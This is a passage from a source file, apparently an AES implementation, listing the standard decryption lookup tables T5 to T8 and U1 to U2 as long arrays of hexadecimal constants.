0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
  232. T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
  233. T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
  234. T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
  235. T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
  236. U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
  237. U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 